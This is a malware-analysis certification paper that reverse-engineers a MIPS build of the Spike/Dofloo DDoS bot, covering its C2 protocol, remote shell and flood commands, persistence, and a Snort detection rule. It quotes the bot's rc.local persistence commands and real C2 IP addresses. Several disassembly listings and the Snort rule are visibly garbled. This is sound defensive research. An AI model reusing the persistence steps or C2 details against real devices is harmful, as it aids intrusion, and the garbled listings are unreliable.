Analysis of a MIPS Malware

GIAC (GREM) Gold Certification

Author: Muhammad Junaid Bohio, mjbohio@gmail.com
Advisor: Richard Carbone

Accepted: March 19, 2015

Abstract

Malware functionalities have been evolving and so are their target platforms and architectures. Non-PC appliances of different architectures have not traditionally been frequent targets of malware. However, many of those appliances, due to their enhanced processing power and/or low maintenance, provide ideal targets for malware. Moreover, due to the lack of security for home routers, they often remain infected until replaced, thereby providing longer persistence for a malware.

Recently, there has been a surge in malware for the MIPS and ARM architectures, targeting specific routers, DVRs, and other appliances. These network devices, in comparison, get less focus from vulnerability researchers and firmware patch application by end-users. This increases the risk of compromise and requires additional skills to cope with malware exploiting these platforms. This paper discusses various tools and techniques for reversing malware for the MIPS platform. We perform static and dynamic analysis of a MIPS malware, discuss its Command & Control mechanism, and provide detection of its network communication.
Acknowledgements

I would like to thank my advisor Richard Carbone for his valuable feedback and guidelines on this paper. Moreover, I also thank my employer TELUS Security Labs (telussecuritylabs.com) for providing me the tools and environment to perform research for this paper.
1. Introduction

MIPS (Multiprocessor without Interlocked Pipeline Stages) architecture is a Reduced Instruction Set Computing (RISC) technology that is widely used in embedded devices. As per the statistics mentioned in MIPS instruction set (n.d.) and MIPS architecture (n.d.), MIPS-based processors are routinely used in routers from Cisco, Linksys, Mikrotik, Cable/DSL modems, video gaming consoles from Sony and Nintendo, printers, set-top boxes, and more. The ARM (Advanced RISC Machines) architecture is the most widely used architecture in smart phones, TVs, set-top boxes, and mobile devices.

Malware produced for network devices have been far less in number compared to those produced for PCs. However, this number is growing. According to various sources (Infodox, 2011; Janus, 2011) the earliest known malware-targeting MIPS platform is Hydra – an open source botnet framework released in 2008. It was designed for extensibility and features both a spreading mechanism and DDoS functionality. In 2009, another malware, Psyb0t, was found in-the-wild targeting routers and high-speed modems. Its botnet, with an estimated 100,000 compromised devices, was then used in a DDoS attack against DroneBL, an IP blacklisting service (Psyb0t, 2013).

In 2010, an IRC bot named Chuck Norris was found infecting routers and DSL modems. In addition to spreading by brute forcing routers’ passwords, this malware also exploited an authentication bypass vulnerability in D-Link routers (McMillan, 2010). Another IRC bot named Tsunami supported various commands and modified the DNS server setting in the configuration of the infected devices (Janus, 2011). This trend has been observed in more recent malware as well and is effective in redirecting traffic to malicious servers controlled by attackers.

In 2012, another IRC bot named LightAidra was found. It supported several architectures including MIPS, MIPSEL, ARM, PPC, and SuperH (Fitsec, 2012). It exploited a D-Link router vulnerability and modified firewall settings using iptables. The source code of LightAidra is freely available on the Internet as an open source project. In 2013,
Symantec discovered a worm called Darlloz (Hayashi, 2013). This malware spread by exploiting a PHP vulnerability identified by CVE-2012-1823. It targeted various architectures including x86, ARM, MIPS, and PowerPC, thereby termed as an Internet of Things (IoT) Worm by Symantec (Hayashi, 2014). In order to block users from connecting to the infected device using Telnet, it drops Telnet traffic via iptables configuration and terminates the telnetd process. According to an investigation by Symantec (Hayashi, 2014), Darlloz compromised more than 31,000 devices by February 2014. Its newer variants supported mining of cryptocurrencies (Mincoins and Dogecoins) and exploited a default password on Hikvision DVR cameras (Ullrich, 2014b). An interesting aspect of the Darlloz worm is that it specifically targets rival worm LightAidra. LightAidra stores its process ID in various files including /var/run/.lightpid, /var/run/.aidrapid, and /var/run/lightpid. The Darlloz worm attempts to terminate the processes whose PIDs are stored in these files and deletes LightAidra files from the infected device (Blinka, 2014).

In February 2014, Dr. Johannes Ullrich of the SANS Technology Institute discovered a new worm called TheMoon (Ullrich, 2014a). This malware was specifically targeting Linksys routers. One known instance of this malware, MD5:A85E4A90A7B303155477EE1697995A43, can target the following specific router models: E4200, E3200, E2500, E300, WRT610N, E1000, E1200, E1500, E1550, E2000, and E3000 (Constantin, 2014). The malware exploits a command execution vulnerability when parsing the ‘ttcp_ip’ parameter value sent in a POST request. It downloads a copy of itself by running the wget command on the vulnerable router after exploiting the vulnerability. The malware was named after the Hollywood movie, ‘Moon,’ because it contains several strings such as Moon, Gerty, Lunar, Sam, and Jupiter that match various characters in the movie. These characters in the code perform various tasks such as analysis of the infected device, harvesting targets and sending fingerprinting/exploit requests, and keeping logs. In the same year, malware Elknot was found targeting x86, ARM, and MIPS platforms (Kernelmode.info Forum, 2013), whereas GoARM/Ramgo targeted the ARM architecture (Adrian, 2014b). Moreover, newer versions of the BlackEnergy Backdoor (that has been used in APT attacks in the past) have been found
using plugins that target both the ARM and MIPS platforms (Baumgartner & Garnaeva, 2014).

Around mid-2014, a Backdoor/DDoS malware that is known by different names including Spike, AES, and Dofloo DDoS malware was discovered. Samples of this malware have been found targeting 32-bit and 64-bit Linux and Windows platforms as well as MIPS and ARM architectures. A toolkit that generates samples of the Spike DDoS malware was analyzed by the Akamai PLXsert Team (Akamai, 2014), and its report states that several Akamai customers have been targeted by DDoS attacks launched from this botnet. The peak attack by the Spike DDoS botnet, according to Akamai, was 215 Gigabits per second (Gbps) and 150 million packets per second (Mpps) (Akamai, 2014). This malware has also been discussed on the Kernelmode.info forum (Adrian, 2014a). In this paper, we analyze a sample of the Spike DDoS malware for the MIPS architecture and examine its commands, communication, and other operations.

2. Debugging Environment Setup

In order to analyze the malware binary for the MIPS architecture, the following tools were used:

- Oracle VM VirtualBox 4.3.7 r91406
- Ubuntu 12.04.4 LTS
- OpenWrt- Barrier Breaker (Bleeding Edge, r39584)
- Qemu 1.6.2
- IDA Pro 6.5.140116 (32-bit)
- Wireshark 1.10.5
- 010 Editor 3.0.4
- Python 2.7

After installing Ubuntu Linux on the Oracle VM VirtualBox, the OpenWrt Linux distribution was compiled and installed on the VM. OpenWrt also created the cross-
compiler toolchain that is required to run MIPS binaries. The firmware for Atheros AR71xx routers was selected with the OpenWrt installation.

After installing OpenWrt, Quick Emulator (QEMU) was installed in order to provide hardware virtualization for OpenWrt and to run MIPS binaries in the OpenWrt environment. The detailed guidelines for these installations are not in the scope of this paper but can be found in other resources (Craig, 2011; Võsandi, 2013). The QEMU installation created binaries for both LittleEndian (qemu-mipsel) and Big Endian (qemu-mips) modes. Since the malware sample under analysis is compiled in Little Endian format, qemu-mipsel was used to run it. This will be demonstrated in the next section.

The malware was run in both a controlled environment (Host-only Adapter) as well as with Internet access using the Bridged Adapter. The non-controlled environment was provided in order to capture live traffic from a control server.

3. Analysis of the Malware

The sample under analysis is a 32-bit Little Endian ELF binary for the MIPS architecture, also known as Backdoor Spike DDoS or Dofloo. This binary was statically compiled and left unstripped; as such it contains all of its strings and import function names. The binary’s MD5 hash is 99ccdc5772a827917ae6cc8e29c78aee. These attributes are shown in the following figure:

![Figure 1: md5sum and file attributes of the sample.](image-url)
The analysis of this malware includes both its behavioral and technical analysis which will be described in this paper.

3.1 Behavioral Analysis

When the malware was first run in a restricted environment (host-only network) it did not perform any network communication. Upon providing it access to the Internet, the malware contacted its Command & Control (C2) server at IP address 60.169.80.91, port 48080/TCP. The malware sent out some system information and received some responses. It continued exchanging messages with its control server. Other than communicating with the control server, no other suspicious connections by the malware, such as any DDoS operations, were observed in the traffic. This will later be clarified when the server responses are parsed and interpreted in the following subsections.

3.2 Technical Analysis

On the Ubuntu VM where OpenWrt and QEMU were installed, the sample file name “99ccdc-spike” was run as shown in Figure 2:

![Figure 2: Sample run and waiting for the gdb connection.](image)

Among the above parameters, the “-E” parameter specifies the IP address of the system from which the IDA debugger will be attached to the malware process. The “-g” parameter with value “1234” puts the malware execution on hold until a debugger is attached to it on port 1234/TCP. On the remote system with IP address ‘192.168.56.1,’ the IDA debugger was configured to connect to the Ubuntu VM having IP address ‘192.168.56.101’ on port 1234. Once the attachment to the malware process was successful, the debugging session began.

M. J. Bohio, mjbohio@gmail.com
In this section, functions related to C2 operations, communication mechanisms, and malware persistence will be discussed. The important code instructions have been explained using comments on their right side; however, further information on MIPS instructions can be found in Frenzel (1998) and MIPS instruction set (n.d.).

When the malware is started, it checks if its command-line has any arguments. If none are found then it assumes it is running for the first time on the target system. It then calls function _Z8autobootPc, which attempts to run the following commands in order to set up system persistence (reboot survival):

\[
\begin{align*}
\text{sed} & -i -e '/exit/d' /etc/rc.local \\
\text{sed} & -i -e '/\^\r\|\r\|n$\d' /etc/rc.local \\
\text{sed} & -i -e '/\%s/d' /etc/rc.local \\
\text{sed} & -i -e '2 i\%s/\%s' /etc/rc.local \\
\text{sed} & -i -e '2 i\%s/\%s start' /etc/rc.d/rc.local \\
\text{sed} & -i -e '2 i\%s/\%s start' /etc/init.d/boot.local
\end{align*}
\]

The main function of this malware calls function ‘_Z14_ConnectServerv’ which connects to one of the C2 servers with IP address 60.169.80.91 and port 48080/TCP. The information concerning this control server is stored in global variable ‘m_OnlineInfo’ using a simple obfuscated format. The malware adds a constant value of 0x4E20 (20000) to compute the actual aforementioned IP address and port. The following code/data snippets in Figures 3 and 4 demonstrate this behavior:

```
004CF964 .globl m_OnlineInfo
004CF964 m_OnlineInfo:.byte 0xFE  # v  # DATA XREF: ServerConnectClient(void)+BCTo
004CF964 .byte 0x77  # v  # ServerConnectClient(void)+ECTo
004CF965 .byte 0x77  # v
004CF966 .byte 0xFE  #  # IP base value 0x58505B1C + 0x4E20 = 0x5850A93C (IP 60.169.80.91)
004CF967 .byte 0x77  # 
004CF968 dword_4CF968:.word 0x58505B1C  # DATA XREF: ServerConnectClient(void)+F4Tr
004CF96C dword_4CF96C:.word 0x6DB0  # DATA XREF: ServerConnectClient(void)+G4Tr
004CF970 .globl encode_url _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 0x6DB0 + 0x4E20 = 0xBBDD (Port 48080)
```

Figure 3: m_OnlineInfo data structure.

M. J. Bohio, mjbohio@gmail.com
If the malware cannot connect to the aforementioned control server, it may try connecting to another server with IP address 183.60.149.199 on the same port. However, it does not perform any obfuscation of this secondary control server’s IP address. This will be demonstrated while discussing one of the program threads (pthreads) started by the malware.

In function main, the malware sets some signals and creates the program threads as shown in Figure 5:

```assembly
Figure 5: pthreads called in main function.
```

M. J. Bohio, mjbohio@gmail.com
The functionalities of the above threads are described in the following subsections.

3.2.1 ‘SendInfo’ thread

This thread is implemented in function “_Z8SendInfoPv”. It attempts to calculate the network/CPU speeds and periodically updates the control server about this information. This information is believed to be used by attackers to evaluate the operational capabilities of their bots and thus will assign DDoS tasks according to their CPU power and network bandwidth/speed.

This function also checks ifconfig information for Ethernet interfaces ranging from ‘eth0’ through ‘eth9’. It reads data from pseudo-file /proc/net/dev and computes network speed in Mbps. This file provides statistics on each network interface regarding the number of bytes sent/received, number of inbound/outbound packets, and more. Please refer to Figures 6, 7, and 8 which depict the code where this information is collected:

```
00409250 loc_409250:          # $0 gets 0 as first value
00409250 lw $v0, 0x78+var_710($fp)
00409254 slti $v0, 0xA          # Runs loop from 0 to 9
00409258 bne $v0, loc_409150    # 'eth'
0040925c nop

00409150 loc_409150:          # 'eth'
00409150 li $v0, 0x687465
00409154 sw $v0, 0x738+var_6EC($fp)
00409158 sb $zero, 0x738+var_6EB($fp)
00409160 sb $zero, 0x708+var_6EA($fp)
00409164 addiu $v0, $fp, 0x738+var_6EC
00409168 move $a0, $v0           # a0 = 0
0040916c li $a1, 2
00409170 lui $v0, 0x4A
00409174 addiu $a2, $v0, (a0 - 0x4A0000) # "%d"
00409178 lw $a3, 0x738+var_710($fp) # a3 = 0
0040917c jal sprintf             # sprintf
00409180 nop
00409184 addiu $v1, $fp, 0x738+var_6EC
00409188 addiu $v0, $fp, 0x738+var_6EC
0040918c move $a0, $v1           # a0 = 'eth'
00409190 move $a1, $v0           # a1 = '0'
00409194 jal strcat             # Constructs "eth0"
00409198 nop
0040919c addiu $v0, $fp, 0x738+var_6EC
004091aa move $a0, $v0           # a0 = "eth0"
004091ab jal _Z11my_ipconfigpc  # my_ipconfig(char *)
004091ac nop

Figure 6: Construct interface ‘ethN’ and call my_ipconfig.
```

M. J. Bohio, mjbohio@gmail.com
The malware also calculates the percentage of CPU usage by reading and processing values in /proc/stat. This pseudo-file keeps various statistics about the system since it was last run. The following figure shows two calls to a function that reads /proc/stat:
Next, Figure 10 shows a part of the code inside function “_Z10get_occupyP6occupy”:

```Assembly
004065A0 _Z10get_occupyP6occupy:         #
004065A0
004065A0 var_428 = -0x428
004065A0 var_424 = -0x424
004065A0 var_420 = -0x420
004065A0 var_416 = -0x416
004065A0 var_412 = -0x412
004065A0 var_408 = -0x408
004065A0 var_404 = -0x404
004065A0 var_400 = -0x400
004065A0 var_4 = -4
004065A0 arg_0 = 0
004065A0
004065A0 addiu $sp, -0x438
004065A4 sw $ra, 0x438 + var_4($sp)
004065A8 sw $fp, 0x438 + var_0($sp)
004065AC move $fp, $sp
004065B0 sw $a0, 0x438 + arg_0($fp)
004065B8 lui $a0, 0x4A
004065B8 addiu $a0, $v0, (aProStat = 0x4A0000) # "/proc/stat"
004065BC lui $v0, 0x4A
004065C0 addiu $a1, $v0, (ar - 0x4A0000) # "r"
004065C4 jal open
004065C8 nop
```

Figure 10: Read /proc/stat.

The malware then prints the CPU usage percentage and network speed information into a pre-defined format. If the socket has been created, it sends out that data to its control server. Figure 11 demonstrates this behavior:

```Assembly
004094A4 loc_4094A4:         # v0 = 0x3F800000
004094A4 lw $v0, _cpu_used
004094A8 mfc1 $v0, $f1
004094B4 cut.d.s $v0, $f1
004094B4 mfc1 $v0, $f0         # v0 = 0
004094B8 mfc1 $v1, $f1         # v1 = 0x8F000000
004094BC addiu $a0, $fp, 0x730 + var_0     # [a0] = [0x887FFFF] = 0
004094BE addiu $a1, $fp, 0x730 + var_0     # [a1] = [0x887FFFF] = "58.87 Mbps"
004094F8 sw $a1, 0x738 + var_728($sp)         # "INFO: 0.00% 58.87 Mbps"
00409500 la $a0, _Info_0FS         # a2 = 0
00409504 move $a2, $v0
00409508 move $a3, $v1
0040950C jal sprintf
00409510 nop
00409510 lw $v0, MainSocketA       # Check if socket has been created?
00409518 beqz $v0, loc_409588
0040951E nop
```

Figure 11: Print INFO data and send to the server.

M. J. Bohio, mjbohio@gmail.com
The periodic speed information sent by this thread to its control server is shown in Figure 12 that represents the traffic captured through Wireshark:

![Figure 12: INFO packets sent by the malware.](image)

### 3.2.2 'backdoorA' Thread

This thread collects system information and sends it out to the control server. The information sent out by this thread includes OS Kernel version, CPU speed, total memory size, used memory size, and some hard-coded strings such as ‘VERSIONEX’ and ‘Hacker.’ These strings have been observed in several samples of this malware family.

The following figure shows the initial request captured through Wireshark:
This thread contains information about a secondary control server that could be contacted in case the primary control server is not available. The following figure shows the code containing IP and port number of the secondary control server:

```assembly
00408B20 li $a0, 0xBBD0 # Port = 0xBBD0 (48080)
00408B24 jal ntohs
00408B28 nop
00408B2C sh $v0, 0xF8+var_B6($fp)
00408B30 li $v0, 2
00408B34 sh $v0, 0xF8+var_B8($fp)
00408B38 li $v0, 0xC7953CB7 # IP = 183.60.149.199
00408B40 sw $v0, 0xF8+var_B4($fp)
00408B44 li $v0, 1
00408B48 sw $v0, 0xF8+var_A4($fp)
00408B4C addiu $v0, $fp, 0xF8+var_A4
00408B50 lw $a0, 0xF8+var_D0($fp)
00408B54 li $a1, 0x667E
00408B58 move $a2, $v0
00408B5C jal ioctl
00408B60 nop
00408B64 addiu $v0, $fp, 0xF8+var_B8
00408B68 lw $a0, 0xF8+var_D0($fp)
00408B6C move $a1, $v0
00408B70 li $a2, 0x10
00408B74 jal connect # Connect
00408B78 nop
```

Figure 14: Secondary control server’s IP and port information.

M. J. Bohio, mjbohio@gmail.com
The following code snippet is used to construct and send the data shown above in Figure 13. The payload size of the packet is fixed to 0x400 (1024) bytes.

```
00409958 lw       $a3, 0x1068+var_F8($fp)  # a3 = 1
0040995C lw       $a2, 0x1068+var_F4($fp)  # a2 = 0x201E (3358)
00409960 lw       $a1, 0x1068+var_F0($fp)  # a1 = 0x20EB (747)
00409964 lw       $a0, 0x1068+var_EC($fp)  # a0 = 0x20A0 (572)
00409968 addiu     $v1, $fp, 0x1068+var_1018 # v1 = 0x407FF640
0040996C addiu     $v0, $fp, 0x1068+var_15C # [v0] = [0x407FF640] = "3.11.0-15-generic"
00409970 sw       $a3, 0x1068+var_1058($sp)
00409974 sw       $a2, 0x1068+var_1054($sp)
00409978 sw       $a1, 0x1068+var_1050($sp)
0040997C sw       $a0, 0x1068+var_104C($sp)
00409980 la       $a0, aHacker     # "Hacker"
00409988 sw       $a0, 0x1068+var_1048($sp)
0040998C move      $a0, $v1        # Output buffer = 0x407FF640
00409990 li        $a1, 0x400
00409994 lui       $v1, 0x404
00409998 addiu     $s2, $v1, (aVersionLinux_0 - 0x4080000) # VERSION:Linux-%s-mips|\%d|\%d MHZ|\%d MB|\%s
0040999C move      $s3, $v0        # [a3] = [0x408004F4] = "3.11.0-15-generic"
004099A0 jal       snprintf  # snprintf
004099A4 nop
004099A8 lw       $v0, MainSocketA
004099B0 bnez     $v0, loc_4099C8
004099B4 nop
004099B8 j       loc_409E80
004099BC nop
004099C0          # CODE XREF: _ConnectServerA(void)+210fj
004099C0 loc_4099C8: # CODE XREF: _ConnectServerA(void)+210fj
004099C0 lui       $v0, 0x40
004099C4 lw       $v1, MainSocketA
004099C8 addiu     $v0, $fp, 0x1068+var_1010
004099CC move      $s2, $v1        # Data = "VERSION:Linux-3.11.0-15-generic-mips|...."
004099D0 move      $a1, $v0
004099D4 li        $a2, 0x400   # Size = 0x400 (1024)
004099D8 move      $a3, $zero
004099DC jal       send     # Send
```

Figure 15: Print and send system information.

In response to the above request, the server sent the following command/data that is captured and parsed by Wireshark:

M. J. Bohio, mjbohio@gmail.com
In the above response, the first DWORD '07 00 00 00' is the command code. The payload size of the server response is 0x19D; however, the malware parses only the fixed size 0x19C (412) bytes of it. The command codes expected by this thread are 5, 6, and 7.

The following code snippet demonstrates how the server response is received and parsed:

Figure 16: Server response to the request by backdoorA thread.
Figure 17: Server response parsing.

Thus, the commands supported by this thread are:

- CmdShell (0x05)
- DealwithDDoS (0x06)
- Kill a process OR continue (0x07)
Each of the above commands and its functionality are described in the following subsections.

3.2.2.1 CmdShell (0x05) Command

If the command code matches 0x05, the malware copies data after the first DWORD in the server response to a buffer. It then calls function “_Z8CmdshellP8_MSGHEAD”, which then calls the ‘System’ function to execute a command. The malware locates the shell command at offset 0x100 (256) within the data part of the server response. The command string has to be Null-terminated, whereas the rest of the data in the server response was redundant and not used while executing command 0x05. The following code snippets demonstrate this behavior:

```assembly
# CODE XREF: _ConnectServerA(void)+A9C1j
addiu $a0, $fp, 0x106A+var_C10
addiu $t1, $fp, 0x106A+var_614
li $v0, 0x198
move $a1, $v1
move $a2, $v0
jal _Z8CmdshellP8_MSGHEAD | Copies 0x198 bytes after Command Code to a buffer
nop
addiu $v0, $fp, 0x106A+var_C10
move $a0, $v0
jal _Z8CmdshellP8_MSGHEAD # Cmdshell(MSGHEAD =)
```

Figure 18: Call Cmdshell function.

```assembly
# CODE XREF: _ConnectServerA(void)+6784p
.globl _Z8CmdshellP8_MSGHEAD:
# ConnectServerH(void)+6684p ...
var_8 = -8
var_4 = -4
arg_6 = 0
addiu $sp, -0x20
sw $ra, 0x20+var_4($sp) |
sw $fp, 0x20+var_8($sp)
move $sp, $fp
move $sp, arg_6($fp)
addiu $s0, 0x100
lw $s0, 0x20+arg_6($fp) # s0 gets pointer to data after command code
addiu $s0, 0x100 # Offset 0x100 (256) added to s0
move $s0, $v0
jal system # Execute the command
```

Figure 19: Inside Cmdshell runs command at offset 0x100.

Since the control server did not send command 0x05 at the time of this research, a Python script (see Appendix A for details) was written by the author that listened for a message from the malware and sent the command 0x05. For this purpose, the response containing
command 0x07, which was received earlier from the actual control server, was modified to command code 0x05 and a shell command at offset 0x100 (starting from the command data part) was sent to the malware. As a result of sending that command, the malware created a text file with the string that is written to it via the ‘echo’ shell command. The following figure demonstrates the shell command that was sent to the malware using the Python script:

![Figure 20: Modified response sent with Shell command.](image)

3.2.2.2 DealwithDDoS (0x06) Command

When command code 0x06 is found, the malware performs AES decryption of the data that is sent in the server response. It then performs expansion of the decryption key and then calls function ‘ZN3AES9InvCipherEPh’ or ‘AES::InvCipher(uchar *)’ in a loop. In each round, 16 bytes of data is decrypted. Once decryption is completed, the malware calls function ‘DealwithDDoS(_MSGHEAD *)’. The following code snippets are used in these operations:
Based on the static code analysis, when the ‘DealwithDDoS’ function is started, it calls various flooding pthreads depending on the instructions received from the control server. Since at the time of this research the control server did not send DDoS command 0x06, the complete structure of this command is not known. The flooding attacks supported by this function are found in the following pthreads:

- TCP_Flood
- CC_Flood
- CC2_Flood
- CC3_Flood

The following code snippets show some of the pthreads started by the DDoS function:

```assembly
0040370 loc_40370: # CODE XREF: _ConnectServerA(void)+4A147
0040370 lui $t0, 0x4A1
0040374 li $v1, 2
0040378 sw $t1, 0x1068+var_C10 # Pointer to server data after command code
004037C move $a0, $v0
0040384 lui $t0, 0x4A1
0040388 addiu $s1, $s0, (key_0 - 0x400000)
004039C jal _ZN9AES2EPPh # AES::AES(uchar *) << AES KeyExpansion/initialization
00403A4 nop  

Figure 21: AES key expansion/initialization.

```assembly
00403C0 move $a0, $v1  
00403C4 move $s1, $v0  
00403C8 jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
00403CC lw $s0, 0x1068+var_1830($fp)
00403D0 addiu $s0, 1
00403D4 sw $s0, 0x1068+var_1830($fp)
00403DC lw $s0, 0x1068+var_49C($fp)
00403DE lw $t1, 0x419
00403E4 addiu $s0, 1
00403E8 sll $v0, $s0, 0x198
00403E8 move $a0, $v0, 0x198
00403F4 jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
00403F8 lw $s0, 0x1068+var_1830($fp)
00403FC li $v0, 0x1068+var_47C
0040404 addiu $v1, 1
0040408 move $a0, $v0
004040C move $s1, $v0
0040410 li $t1, 0x198
0040414 move $a0, $v0
0040418 jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
004041C lw $s0, 0x1068+var_1830($fp)
0040420 move $a0, $v0
0040424 jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
0040428 lw $s0, 0x1068+var_1830($fp)
004042C lw $t1, 0x419
0040430 addiu $s0, 1
0040434 sll $v0, $s0, 0x198
0040434 move $a0, $v0, 0x198
004043C jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
0040440 lw $s0, 0x1068+var_1830($fp)
0040444 addiu $s0, 1
0040448 addiu $v1, $fp, 0x1068+var_47C
004044C move $a0, $v0
0040450 move $s1, $v0
0040454 li $t1, 0x198
0040458 move $a0, $v0
004045C jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
0040460 lw $s0, 0x1068+var_1830($fp)
0040464 addiu $s0, 1
0040468 addiu $v1, 1
004046C move $a0, $v0
0040470 move $s1, $v0
0040474 li $t1, 0x198
0040478 move $a0, $v0
004047C jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
0040480 move $a0, $v0
0040484 jal _ZN9AES9InitCipherEPPh # AES::InitCipher(uchar *) << decrypts 16 bytes in each round
0040488 nop  

Figure 22: Decrypt DDoS command and call DealwithDDoS.

M. J. Bohio, mjbohio@gmail.com
Based on the static code analysis, in the case of **CC_Flood** (Figure 24) DDoS, the malware sends out HTTP GET requests until the ‘StopFlag’ is set to 1. The following are some of the headers used in building such requests:

M. J. Bohio, mjbohio@gmail.com
Accept-Language: zh-cn
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ascii
"application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

The **CC2_Flood** (Figure 25) and **CC3_Flood** (Figure 26) DDoS also send out HTTP GET requests with some minor differences. For example, headers used with CC2_Flood requests are as follows:

Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html, application/xhtml+xml, */*

3.2.2.3 Kill a Process or Continue (0x07) Command:
This command checks if the value of its ‘pid’ global variable is non-Null; then it attempts to terminate the process with that process ID. If the value is Null, the malware continues to the beginning of the loop and sends the next request to the server. Notice that the functionality of this command does not require a large amount of data (0x19C bytes) to be sent by the server. However, since the length of the received data is hard-coded in several places, the control server appears to be sending garbage data along with command 0x07. The following code snippet demonstrates the functionality of this command:

M. J. Bohio, mjbohio@gmail.com
Figure 27: Command 0x07 – kill a process and/or continue.

3.2.3 ‘backdoorM’ Thread

This thread performs very similar functions to the ‘BackdoorA’ thread with the exception that it has one additional command 0x01. This command updates flag value ‘statM’ to zero. This flag found at the beginning of the function is used to determine whether to sleep for a certain amount of time or continue operations if it is zero. This is shown in the following figure:

Figure 28: Command 0x01 – unset a flag.
3.2.4 Detection and Indicators of Compromise (IoC)

3.2.4.1 Traffic Detection
As described earlier, the first request sent out by the malware with system information has a fixed payload size of 0x400 (1024) bytes. This value can be checked as a ‘dsize’ value along with other patterns in a Snort signature. The following is a Snort signature that can be used to detect a malware request sent to its control server:

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"SpikeDDoS Malware Detection"); dsize:1024; content:"VERSONEX\3a\"; nocase; offset:0; depth:9; content:"MHz\7c\"; nocase; distance:4; within:48; content:"MB\7C\"; nocase; distance:3; within:8; content:"\00 00 00 00 00 00\"; distance:32; within:32; classtype:Botnet; sid:1100110010; rev:1;)
```

The server response sent to the malware must also be at least 0x19C (412) bytes. The first 4 bytes are command codes including 1, 5, 6, and 7. A signature for the server response is also possible but since the malware request has several options for pattern detection, it is sufficient for traffic detection and would be more efficient compared to signature detection for the server response.

3.2.4.2 Indicators of Compromise (IoC)
When the malware is started, it checks the number of its command-line parameters. If it does not have any parameters, it calls function ‘_Z8autobootPc’. In this function the malware sets up its reboot survival mechanism. It attempts to add itself to the following files:

- /etc/rc.local
- /etc/rc.d/rc.local
- /etc/init.d/boot.local

In the case of /etc/rc.local, the malware removes any lines containing string “exit”. As a result of this, a line containing string “exit 0” was deleted from the /etc/rc.local file on the infected system. Furthermore, the malware also removes any empty lines from this
file. Commands that perform these operations were previously examined. The malware
then adds itself with parameter “reboot” to file /etc/rc.local as shown in the following:

```bash
#!/bin/sh -e
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-
ar71xx/MalwareFileName reboot
#
# rc.local
# [...truncated...]
```

In the case of /etc/rc.d/rc.local and /etc/init.d/boot.local an error occurred when passing a
parameter pointer to the malware filename string. However, when the parameter was
passed correctly by modifying register ‘a3’ value after instruction at address
0x0040AF40, the malware created the following entry in /etc/rc.d/rc.local with parameter
“start”. It uses the same format string for adding itself to /etc/init.d/boot.local as well, as
shown below.

```bash
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-
ar71xx/MalwareFileName reboot start
```

Please note that these target configuration files may not exist on all systems. The
malware does not check for the existence of these files before attempting to write its
command-line to them.

4. Debugging Challenges and Workarounds

The malware sample under analysis frequently uses forks and pthreads. As a result,
multiple threads and instances of the malware are instantiated. In order to analyze such a
code flow, gdb debugger provides various custom options such as setting follow-fork-
mode and non-stop mode. However, through IDA Pro debugger these custom options for
remote gdb debugging could not be enabled. As a workaround, a fork call in the main
function was deactivated with NOP instructions. Figures 28 and 29 demonstrate the code
where the fork was disabled in order to continue debugging the subsequent operations of the malware:

```
00406370 00406370 loc_400370:  # fork (00406370 50 AD 10 0C 00 00 00 00)
00406370 00406370 loc_400370:  # fork (00406370 50 AD 10 0C 00 00 00 00)
00406370 jal   fork
00408274 nop
00408276 suv  $v0, 0xc0+var_AD($fp)
00408276 lui  $v0, 0xc0+var_AD($fp)
00408280 sltu  $v0, $zero, $v0
00408284 andi  $v0, $xff
00408288 beqz  $v0, loc_40039c
```

Figure 29: Original code with fork call.

```
00408370 00408370 loc_400370:  # Nop instructions (00408370 00 00 00 00 00 00 00 00)
00408370 00408370 loc_400370:  # Nop instructions (00408370 00 00 00 00 00 00 00 00)
00408370 nop
00408370 nop
00408370 suv  $v0, 0xc0+var_AD($fp)
00408370 lui  $v0, 0xc0+var_AD($fp)
00408380 sltu  $v0, $zero, $v0
00408384 andi  $v0, $xff
00408388 beqz  $v0, loc_40039c
0040838c nop
0040838c nop
```

Figure 30: Disabled fork call.

After bypassing the fork call and some flag checks, when the first ‘pthread’ call reached the ‘SendInfo’ function, the debugging session with IDA debugger was terminated. Since IDA Pro was configured to use gdb debugger for remote debugging of the MIPS binary, the default operation of gdb is the ‘stop-all’ (all threads stopped) mode. Whereas for debugging asynchronous multi-threaded code, it requires operating in the ‘non-stop’ mode to allow threads other than the debugged thread to continue running. With very limited command line options supported via IDA Pro Command-line for gdb, it could not be determined whether any other method could be used to enable these custom options for use of the gdb debugger via IDA Pro. To address this issue, it was attempted to use gdb directly and to configure it to operate in the non-stop mode. As such, an instance of gdb compiled for the MIPS architecture was used to attach to the malware sample running within QEMU. However, when gdb with the non-stop mode attempted to attach to the remote process, it presented the following error message stating that the remote

M. J. Bohio, mjbohio@gmail.com
process does not support the *non-stop* mode. Thus, this attempt was not successful either.

Figure 31 depicts this error message:

![MIPS gdb error message](image)

Figure 31: Non-stop mode attempt via MIPS *gdb*.

Thus, for the debugging of threads, the binary was patched and pthread calls were replaced with direct function calls to thread functions. The following figure shows the modified calls to the thread functions:

```
004003FC  li  $a0, 1
00400400  jal  close
00400404  nop
00400408  li  $a0, 2
0040040c  jal  close
00400410  nop
00400414  jal  _Z8SendInfoPV  # SendInfo(void *)
00400418  nop
0040041c  # CODE XREF: SendInfo(void *),1C↑j
0040041c  jal  _Z9backdoorAPV  # backdoorA(void *)
00400420  nop
